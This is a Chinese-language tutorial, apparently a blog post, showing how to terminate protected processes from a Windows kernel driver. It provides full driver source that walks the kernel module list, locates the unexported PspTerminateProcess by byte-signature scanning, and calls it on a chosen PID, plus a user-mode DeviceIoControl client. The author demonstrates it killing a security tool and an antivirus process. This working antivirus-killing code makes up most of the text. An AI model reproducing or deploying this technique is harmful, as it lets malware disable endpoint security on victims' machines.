我们知道在windows操作系统里面有ring0跟ring3的概念(ring1、ring2在windows中并未使用),因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用的ring0的函数来强行结束一些处于ring0级别的进程。
测试 我们首先打开PCHunter32.exe
看一下,应用层是不能够访问的,我们知道可以在cmd里面使用taskkill
命令来结束进程,但这种方式对ring0特权级别的程序并不适用。
看一下PCHunter32.exe
的PID,尝试使用taskkill
命令关闭发现拒绝访问
用任务管理器也是同样拒绝访问
ZwTerminateProcess ZwTerminateProcess例程终止一个进程及其 所有线程,它是一个ring0函数,结构及参数如下
1 2 3 4 NTSYSAPI NTSTATUS ZwTerminateProcess ( [in, optional] HANDLE ProcessHandle, [in] NTSTATUS ExitStatus ) ;
在这个函数里面只需要传入进程句柄和NTSTATUS值就可以杀死一个进程,但是这里又有一个问题,如果我们想利用这个函数去kill掉一个杀软,那么杀软就直接让我们宰割吗,当然不会。
我们能知道这个内核的函数,那么杀软肯定也知道,所以在ring0层面下,杀软将这个内核函数hook掉,如果发现有调用这个函数kill掉自己的企图,还是会拒绝。
PspTerminateProcess 这个函数就有意思了,在msdn里面居然没有找到这个函数,那么是不是我们搞错了呢?
遇事不决找Windbg老师看一下有没有这个结构就知道了,当然是有这个函数的,那为什么在msdn里面找不到呢?
WDK说明文档中只包含了内核模块导出的函数,对于未导出的函数,则不能直接使用。
如果要使用未导出的函数,则有两种方法来使用:
暴力搜索,提取该函数的特征码,全盘搜索。
如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。
那么我们要想全盘搜索,肯定要先找到内核模块,每个内核模块都有一个对应的结构体,来描述这个模块在内核中的:位置、大小、名称等等。DriverEntry
的第一个参数就是这个结构体。
主要关注DriverSize
和DriverName
这两个参数,DriverSize
主要是表示驱动的大小,DriverName
为驱动的名称
编写一个驱动输出driver
的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <ntddk.h> VOID DriverUnload (PDRIVER_OBJECT driver) { DbgPrint ("Driver unload successfully!\r\n" ); } NTSTATUS DriverEntry (PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) { DbgPrint ("注册表路径:%wZ 地址:%x Hello world!" , reg_path, driver); DbgPrint ("%x" , driver); driver->DriverUnload = DriverUnload; return STATUS_SUCCESS; }
部署一下得到地址为85e17030
然后在DRIVER_OBJECT
结构后面加上地址即可得到我们自己驱动的详细信息
1 kd> dt _DRIVER_OBJECT 85e17030
通过 _DRIVER_OBJECT
结构体中 0x014的偏移有一个成员,DriverSection
则可以实现对内核模块的遍历。DriverSection 是一个指针,实际上是对应着一个结构体:_LDR_DATA_TABLE_ENTRY
看一下_LDR_DATA_TABLE_ENTRY
的结构
1 kd> dt _LDR_DATA_TABLE_ENTRY
加上地址即可得到模块的详细信息
通过InLoadOrderLinks
可以查询到其他内核模块的信息。依此类推,可以获取到其他所有的内核模块。
说完了怎样搜寻模块,再来看看怎么找特征码,首先定位到函数。这种mov、push指令因为可能每个模块都会有,所以不能当作特征码,也不能够选重定位的数据当作特征码。
从中挑选如下代码
1 2 3 4 5 6 7 8 805 d3487 56 push esi805 d3488 64 a124010000 mov eax,dword ptr fs:[00000124 h]805 d348e 8b 7508 mov esi,dword ptr [ebp+8 ]805 d3491 3b 7044 cmp esi,dword ptr [eax+44 h]805 d3494 7507 jne nt!PspTerminateProcess+0x1b (805 d349d)805 d3496 b80d0000c0 mov eax,0 C000000Dh805 d349b eb5a jmp nt!PspTerminateProcess+0x75 (805 d34f7)805 d349d 57 push edi
提取出的相应特征码如下
1 2 3 UCHAR szSpecialCode[] = {0x56 , 0x64 , 0xA1 , 0x24 , 0x01 , 0x00 , 0x00 , 0x8B , 0x75 , 0x08 , 0x3B , 0x70 , 0x44 , 0x75 , 0x07 , 0xB8 , 0x0D , 0x00 , 0x00 , 0xC0 , 0xEB , 0x5A , 0x57 };
那么编写代码,通过特征码定位到PspTerminateProcess
函数来杀死进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #include <ntifs.h> typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT32 Flags; UINT16 LoadCount; UINT16 TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; UINT32 CheckSum; UINT32 TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef NTSTATUS (*pfnPspTerminateProcess) (PEPROCESS pEprocess, NTSTATUS ExitCode) ;VOID DriverUnload (IN PDRIVER_OBJECT driverObject) ; PVOID SearchFunction (PUCHAR DllBase, UINT32 SizeOfImage) ; ULONG g_uPID = 1492 ; UCHAR g_szSpecialCode[] = { 0x56 , 0x64 , 0xA1 , 0x24 , 0x01 , 0x00 , 0x00 , 0x8B , 0x75 , 0x08 , 0x3B , 0x70 , 0x44 , 0x75 , 0x07 , 0xB8 , 0x0D , 0x00 , 0x00 , 0xC0 , 0xEB , 0x5A , 0x57 }; UINT32 g_uSpecialCodeLen = sizeof (g_szSpecialCode); NTSTATUS DriverEntry (IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath) { NTSTATUS status = STATUS_SUCCESS; PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL ; pfnPspTerminateProcess pPspTerminateProcess = NULL ; PEPROCESS pEprocess = NULL ; DbgPrint ("驱动加载完成\r\n" ); pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection; pLdrDataTableEntry = CONTAINING_RECORD (pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink; do { pLdrDataTableEntry = CONTAINING_RECORD (pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pLdrDataTableEntry->DllBase) { pPspTerminateProcess = (pfnPspTerminateProcess) SearchFunction ((PUCHAR)pLdrDataTableEntry->DllBase, pLdrDataTableEntry->SizeOfImage); } if (pPspTerminateProcess) break ; pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink; } while ((UINT32)pLdrDataTableEntry != (UINT32)driverObject->DriverSection); if (pPspTerminateProcess) { status = PsLookupProcessByProcessId ((HANDLE)g_uPID, &pEprocess); if (NT_SUCCESS (status)) { status = pPspTerminateProcess (pEprocess, 0 ); if (NT_SUCCESS (status)) { DbgPrint ("使用 PspTerminateProcess 关闭进程成功, PID = %d\r\n" , g_uPID); } } else { DbgPrint ("PsLookupProcessByProcessId Error 0x%X\r\n" , status); } } driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload (IN PDRIVER_OBJECT driverObject) { DbgPrint ("驱动卸载完成\r\n" ); } PVOID SearchFunction (PUCHAR DllBase, UINT32 SizeOfImage) { DbgPrint ("Here is MemorySearch , length is : %d\r\n" , SizeOfImage); PVOID pFuncAddr = NULL ; UINT32 uEnd = (UINT32)DllBase + SizeOfImage - g_uSpecialCodeLen; UINT32 i = 0 ; BOOLEAN bOk = TRUE; while ((UINT32)DllBase <= uEnd) { bOk = TRUE; for (i = 0 ; i < g_uSpecialCodeLen; i++) { if (!MmIsAddressValid (&DllBase[i]) || DllBase[i] != g_szSpecialCode[i]) { bOk = FALSE; break ; } } if (bOk) { pFuncAddr = (PVOID)(DllBase - 5 ); DbgPrint ("找到特征码,内存地址为%p\r\n" , pFuncAddr); break ; } DllBase++; } return pFuncAddr; }
编译之后生成.sys
文件,我们再来关闭一下PCHunter32.exe
,关闭成功
再试下强制kill某绒,这里有三个进程,用HipsMain.exe
来进行尝试
演示效果如下
也可以利用ring3常规方式传输数据到ring0的方式结束进程,ring3层代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include "stdafx.h" #include <Windows.h> #include <stdio.h> #include <stdlib.h> #include <winioctl.h> #define SYMBOLICLINK_NAME L"\\\\.\\HbgDevLnk" #define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) #define OPER2 CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS) #define IN_BUFFER_MAXLENGTH 4 #define OUT_BUFFER_MAXLENGTH 4 int main () { HANDLE hDevice =CreateFileW (SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0 , 0 , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); DWORD dwError = GetLastError (); if (hDevice == INVALID_HANDLE_VALUE) { printf ("获取设备句柄失败 %d\n" , dwError); getchar (); return 1 ; } else { printf ("获取设备句柄成功 \n" ); } DWORD dwInBuffer = 0x850 ; DWORD dwOutBuffer = 0 ; DWORD dwOut; DeviceIoControl (hDevice, OPER2, &dwInBuffer, IN_BUFFER_MAXLENGTH, &dwOutBuffer, OUT_BUFFER_MAXLENGTH, &dwOut, NULL ); printf ("dwOutBuffer: %08X dwOut: %08X\n" , dwOutBuffer, dwOut); CloseHandle (hDevice); return 0 ; }
实现效果如下